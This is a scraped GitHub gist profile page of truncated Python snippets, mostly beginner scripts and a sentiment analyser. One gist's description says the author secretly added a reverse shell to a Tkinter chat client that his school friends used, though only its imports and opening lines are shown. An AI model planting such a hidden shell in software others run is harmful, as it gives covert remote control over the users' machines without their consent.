Skip to content

Instantly share code, notes, and snippets.

View anmolj7's full-sized avatar

Anmol Jhamb anmolj7

View GitHub Profile
@anmolj7
anmolj7 / multiChatClient.py
Created December 3, 2019 19:17
This reverse_shell is built,on the top of https://github.com/KetanSingh11/SimpleChatApp Actually, I was bored in my school one day, so, I thought of creating a chat app, so, I took the following repo, and once, our gang started using this chat app, I just modified the code to add a reverse_shell, I did watch all of bukcy robert's tutorials. So, …
""" Script for Tkinter GUI chat client. """
import tkinter
from socket import AF_INET, socket, SOCK_STREAM, gethostbyname, gethostname
from threading import Thread
import math
import subprocess as sp
def receive():
""" Handles receiving of messages. """
while True:
from math import log, floor
def dec_to_bin(N):
if N == 0 or N == 1:
return N
String = ''
Powers = []
while N > 0:
x = log(N, 2)
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
'''
Write a Python script to search for text in a file and replace it, for example, there is a text file that reads Hello World, change it to Hello name. The intended output is the link to the gist.
'''
fName = input("Enter the file's name: ")
with open(fName) as f:
data = f.read()
repl = input("Enter the text to be replaced: ")
word = input(f"Replace {repl} to: ")
import os
print("Python Program to print list the files in a directory.")
Direc = input(r"Enter the path of the folder: ")
print(f"Files in the directory: {Direc}")
files = os.listdir(Direc)
files = [f for f in files if os.path.isfile(Direc+'/'+f)] #Filtering only the files.
print(*files, sep="\n")
from PIL import Image, ImageDraw, ImageFont
import os
Class = input("Enter Class In Roman Numerals: ")
Class = Class.upper.strip()
section = input("Section:")
os.chdir('{0}{1}'.format(Class, section))
files = os.listdir(os.getcwd()) #Listing All The Files
#Selecting Only JPEG Files ...
@anmolj7
anmolj7 / jarvis-old.py
Created January 29, 2019 21:01
The oldest version of Jarvis I could Find....
import subprocess as sp
import omdb
import wikipedia
import wolframalpha
import serial
import time
ser = serial.Serial('COM3', baudrate = 9600, timeout=1)
time.sleep(3)
def getValues():
ser.write(b'g')
from __future__ import print_function, division, unicode_literals
import os
import errno
from collections import Counter
from hashlib import sha256
import re
import json
import itertools
import logging
from nltk.classify import NaiveBayesClassifier
from nltk.corpus import subjectivity
from nltk.sentiment import SentimentAnalyzer
from nltk.sentiment.util import *
from nltk.sentiment.vader import SentimentIntensityAnalyzer
import nltk, re
class Polarity:
def __init__(self):
#this code was tested and working on python 3.6.5
#The Module TextBlob Needs To Be Installed as it contains a predefined function that
#can calculate the polarities. It includes a list of words that has a list of certain value ..
from textblob import TextBlob
text = input("Enter The Text> ")
model = TextBlob(text)
print(model.sentiment.polarity)
#The Polarity ranges from -1 to 1